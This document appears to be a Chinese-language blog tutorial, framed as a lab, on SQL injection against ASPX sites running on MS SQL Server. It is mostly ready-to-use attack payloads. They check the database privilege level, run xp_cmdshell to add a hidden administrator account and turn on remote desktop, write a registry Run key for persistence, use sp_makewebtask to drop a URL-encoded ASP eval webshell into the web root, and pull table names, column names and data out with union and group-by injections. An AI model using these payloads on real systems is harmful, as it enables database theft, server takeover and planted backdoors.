ASPX+MsSQL注入
实验的环境:Windows+MsSQL+IIS6.0+ASPX
网站的url:http://x.x.x.x/Index.aspx?id=1
路径: C:\Inetpub\wwwroot
实验过程:
一、注入点权限判断
再检查一下当前用户的数据库操作权限,提交如下查询:
and 1=(select IS_SRVROLEMEMBER('sysadmin')) //判断是否是系统管理员 and 1=(select IS_SRVROLEMEMBER('db_owner')) //判断是否是库权限 and 1=(select IS_SRVROLEMEMBER('public')) //判断是否为public权限
二、xp_cmdshell扩展执行任意命令
利用xp_cmdshell可执命令,例如提交如下查询,可查看服务器c盘目录:
;exec master..xp_cmdshell 'dir c:\'
最常见的利用方法是直接添加管理员账号,利用远程终端进行登录控制
;exec master..xp_cmdshell 'net user chin chin123 /add'
;exec master..xp_cmdshell 'net localgroup administrators chin /add'
执行上面的查询,即可添加一个用户名为chin密码为chin123的管理账号。然后可利用命令打开3389远程终端连接,并修改连接端口号:
;exec master..xp_cmdshell 'sc config termservice start=auto' ;exec master..xp_cmdshell 'net start termservice' ;exec master..xp_cmdshell 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0x0 /f'
事实上,只要可以执行系统命令,几乎任意的攻击操作都可以在此基础上实现进行。
三、xp_regwrite操作注册表与开启沙盒模式
在sa权限下可以条用xp_regwrite写入注册表,查询语句如下:
;exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion\run','black','REG_SZ','net user chin chin123 /add'
四、利用sp_makewebtash写入一句话木马
sa权限可以通过sp_makewebtask,创建一项生成HTML文档的任务,该文档包含执行过的查询返回的数据。在入侵过程中,可以利用sp_makewebtask扩展存储来将一句话木马写入到服务器磁盘中的web目录下,从而获得对服务器的控制权限。
在写入一句话木马前,首先需要将一句话木马转换成URL格式,然后执行如下查询:
;exec sp_makewebtask 'c:\inetpub\wwwroot\chin.asp','select''%3C%25%65%76%61%6C%20%72%65%71%75%65%73%74%28%22%63%68%6F%70%70%65%72%22%29%25%3E'''—
在上面的查询中,类似“%3C”的字符就是一句话木马的URL格式。执行查询后,就可以成功获得一个webshell,其路径为c:\inetpub\wwwroot\chin.asp
五、having与group by查询爆表名与字段名
在注入点地址后提交“having 1=1--”,从返回的错误信息中即可得到当前表名与第一个字段名。再继续提交如下代码:
group by 字段名1 having 1=1— group by 字段名1,字段名2 having 1=1—
直到页面返回正常信息,即可得到所有的字段名。
六、union select 查询注入技术
首先,用order by检查出字段数目,然后进行以下union select查询。
and 1=2 union all select null,null,null from 当前表名
在上面的语句中,字段数目为几就加几个null进行联合查询。由于null可代表字符或数字类型,因此不会出现数据类型转换出错提示。
确认数据类型
如果页面返回正常,则将null逐个用引号将字符引起来如’a’,提交如下语句:
and 1=2 union all select 'a',null,null from 当前表名 and 1=2 union all select 'a', 'a',null from 当前表名 and 1=2 union all select 'a', 'a', 'a' from 当前表名
使用如下语句爆字段内容,第二个字段为字符型,使用数字代替后,爆出第二个字段内容;爆第三个字段时,将第二个字段转换为字符型’a’,然后将第三个字段替换为数字,以此类推。
union all select 1,1,'a' from admin
如下图:
替换完成后,在页面中会显示联合查询的数字或字符。再将数字或字符处替换成为如下代码
(select name from master.dbo.sysdatabases where dbid=1)增加上面查询语句中的bdid的值,就可以获取数据库列表中所有数据库名。
查询数据库中的所有表
将数字或字符处替换成如下代码:
(select top 1 name from (select top n name from sysobjects where xtype=0x75 order by name) t order by name desc)
其中0x75是u的十六进制,增加n数字的值,就可以得到当前数据库的所有表。
如果要跨库查询其他数据库的表名,则可替换为如下代码:
(select top 1 name from (select top n name from 数据库名..sysobjects where xtype=0x75 order by name) t order by name desc)
查询字段名及字段值
将数字或字符处替换成如下:
(select col_name(object_id('表名'),n))
增加数字n的值,就可以得到表中的所有字段名了。
要获取字段内容,可以将数字或字符处替换为如下:
(select top 1 字段名 from 表名)
(select top 1 字段名 from 表名)
得到第一个字段值后,在提交如下的代码:
(select top 1 字段名 from 表名 where 字段名<>字段值1)
即可获得其他字段值。
发表吐槽
你肿么看?
既然没有吐槽,那就赶紧抢沙发吧!